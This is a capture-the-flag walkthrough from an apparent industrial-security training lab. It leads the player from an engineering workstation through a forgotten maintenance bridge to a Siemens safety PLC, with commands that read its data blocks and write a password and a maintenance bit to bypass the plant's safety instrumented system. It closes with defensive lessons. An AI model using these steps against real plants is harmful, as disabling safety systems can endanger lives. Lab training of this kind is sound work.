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Challenge 9 - Safety Assault

Points: 800
Protocol: S7comm (Siemens)
Difficulty: Expert


The Story

After CH-08, you noticed chlorine caps at ~5 ppm. Something is stopping you. The plant has a Safety Instrumented System (SIS) - an independent last line of defence that shuts everything down if conditions become dangerous. The SIS is on a completely isolated network… or is it?

What You Know

Step 1: The Problem

The safety network is supposed to be air-gapped. You can’t reach 10.0.5.x from the SCADA zone or anywhere else. The firewall blocks everything.

But in real industrial environments, someone always leaves a backdoor for maintenance…

Step 2: Investigate the Engineering Workstation

You have SSH access to the EWS (engineer@10.0.3.20). What else is running on it?

Hint: Check what ports are listening on the EWS.

How? SSH to the EWS and list listening ports: ```bash sshpass -p 'eng2024!' ssh -p 2222 engineer@127.0.0.1 'ss -tlnp' ```

What do you see? Port 22 (SSH, expected) and… another port. What’s that?

Step 3: The Forgotten Bridge

That mysterious port is a TCP proxy - someone set up a maintenance bridge from the EWS to the Safety PLC. It was supposed to be temporary, but it was never removed.

This is how air-gaps get broken in real facilities.

Tunnel that port to Kali.

Tunnel command? ```bash sshpass -p 'eng2024!' ssh -f -N -L :127.0.0.1: -p 2222 engineer@127.0.0.1 ``` Replace `` with the port you discovered. </details> ## Step 4: Scan the Safety PLC The bridge speaks S7comm - the Siemens protocol. S7comm organizes data in **Data Blocks (DBs)**.
Scan command? ```bash python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c scan ``` </details> **Study the data blocks.** Look at the hex dump and decoded values. One DB contains status bits, another has setpoints and something that looks like a password. ## Step 5: Read the Data Blocks Read each DB carefully. **DB1** contains safety status - byte 0 has individual bits: - Bit 0: SIS Armed - Bit 1: SIS Tripped - Bit 2: SIS Healthy - Bit 4: Maintenance Mode (THE TARGET) **DB2** contains setpoints and a maintenance password.
Commands? ```bash python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c read --db 1 --size 22 python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c read --db 2 --size 16 ``` </details> **Hint:** Look at the last value in DB2. Does it look like a numeric code? ## Step 6: Enable Maintenance Mode To bypass the SIS, you need to: 1. Write the maintenance password to DB2 2. Set the maintenance mode bit in DB1
How? The tool supports both value writes and single-bit writes: ```bash # Write password python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c write --db 2 --offset --value # Set maintenance bit python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c write --db 1 --offset 0 --bit 4 --bit-value on ``` </details> **Watch the HMI** - SIS indicator changes from ARMED (green) to BYPASSED (yellow). ## Step 7: Check DB99 The scan showed another interesting data block. What's in it?
Command? ```bash python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p -c read --db 99 --size 32 ``` Look at the ASCII column in the hex dump. </details> --- ## What You Learned - Air-gapped networks often have forgotten maintenance bridges - S7comm (Siemens) has no authentication on data block read/write - Safety systems can be put in maintenance mode by an attacker - This mirrors the TRITON/TRISIS attack (2017) - malware specifically targeted Schneider Electric SIS controllers in a Saudi petrochemical plant - Defence: remove maintenance bridges, monitor SIS state changes, require physical key for maintenance mode ## Scoreboard Updates when SIS maintenance mode is enabled. Flag appears on HMI Process page.